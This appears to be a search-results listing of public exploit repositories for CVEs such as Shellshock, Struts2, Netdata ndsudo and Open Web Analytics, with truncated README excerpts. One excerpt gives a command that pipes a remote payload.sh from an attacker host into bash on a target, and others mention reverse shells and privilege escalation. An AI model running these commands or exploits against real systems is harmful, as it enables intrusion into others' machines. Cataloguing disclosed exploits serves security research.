232316 matches found
CVE-2014-6271
CVE-2014-6271 Usage go run CVE-2014-6271.go www.example.com 80 whoami...
CVE-2020-5902
CVE-2020-5902 Exploit for CVE-2020-5902 POC bash version...
CVE-2023-45866_EXPLOITS
This repository does not have a README...
CVE-2022-0995
CVE-2022-0995 Exploit for CVE-2022-0995. Uses a heap out-of-bounds write in the watchqueue component of the Linux kernel. A similar technique is described in this research https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html. The exploit has been tested on Ubuntu 21.1...
CVE-2020-9484
CVE-2020-9484 Referencia Escrito por redtimmysec, masahiro331 https://packetstormsecurity.com/files/157924/CVE-2020-9484.tgz + Acabo de analizar un exploit de 1 día. Luego lo remodelé. Descripción En comparación con el PoC anterior, tiene las siguientes ventajas. + Script de entorno para Ubuntu...
DedeCMS-getshell-CVE-2023-2928-
This repository does not have a README...
CVE-2016-010033-010045
CVE-2016-010033-010045 Php mail RCE CVE-2016-010033/45 imported to python3 Getting Started These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system...
CVE-2024-32019-poc
CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: bash exploit.sh In target machine run in a writable directory: curl http://:8000/payload.sh | bash It will automatically download the nvme binary, export the path, run...
CVE-2021-42325-
CVE-2021-42325- CVE-2021-42325 POC Link: https://www.exploit-db.com/exploits/50502...
FreeBSD-9.0-9.1-Privilege-Escalation
FreeBSD-9.0-9.1 - Privilege-Escalation CVE-2013-2171 By [email protected] How to Exploit! 1° Check the kernel version uname -a FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE 0: Tue Jan 3 07:46:30 UTC 2012 2° Transfer this file to target Attacker machine - python3 -m http.server 8080 Target...
CVE-2022-24637
CVE-2022-24637 Open Web Analytics 1.7.3 - Remote Code Execution Exploit v2 Working exploit for Open Web Analytics 1.7.3 - RCE enhenced with pentestmonkey's php reverse shell, Fixed issue of not able to find user in cache. Original soruce exploit can be found on here Usage Add your attacker...
CVE-2019-3980
CVE-2019-3980 CVE-2019-3980 exploit written in win32/c++ openssl dependency. Port of https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py Instructions This PoC requires staticly linked openssl libraries. Place openssl includes in thirdparty\include\openssl and libs ...
CVE-2019-11707-PoC
CVE https://vulners.com/cve/CVE-2019-11707...
cve-2018-12386
Firefox Sandboxed RCE Exploit CVE-2018-12386 Here is a simple exploit for the vulnerability CVE-2018-12386 found by Niklas Baumstark, Samuel Groß and Bruno Keith. This is mostly a PoC I did for fun, there is no sandbox bypass and it will only work on a given Linux setup where the offsets used by...
CVE-2021-35211
Serv-U CVE-2021-35211 Exploit Potential for DoS - check your rules of engagement The exploit doesn't work every time, but it works enough that it will run shellcode in roughly 1 in every 5 or 6 runs. However, sometimes a failed exploit will crash the Serv-U server. Please ensure that your rules o...
CVE-2022-3552
CVE-2022-3552 In order to exploit the vulnerability in BoxBlilling, the version will have to be: "BoxBilling=4.22.1.5" and you will have to have valid admin credentials. If you have the situation above, here are the steps you have to take in order to get the juicy RCE: Create a python virtual...
Binary Exploits
Exploits binarios de Exploit Database Los exploits binarios se encuentran en el directorio /bin-sploits/. Este es un repositorio oficial de The Exploit Database, un proyecto patrocinado por Offensive Security. Nuestros repositorios son: Exploits y Shellcodes:...
struts2-jakarta-inject
POC Exploit for CVE-2017-5638 Only use this exploit on systems you own or have explicit rights to test Installation If you have go already installed on your computer, go get is the way to go go get github.com/Greynad/struts2-jakarta-inject Usage Single command execution struts2-jakarta-inject -u ...
sonar.js
sonar.js Un framework para identificar y lanzar exploits contra hosts de la red interna. Funciona mediante enumeración de IPs por WebRTC, escaneo de hosts por WebSocket y fingerprinting de recursos externos. ¿Cómo funciona? Al cargar el payload sonar.js en un navegador web moderno ocurrirá lo...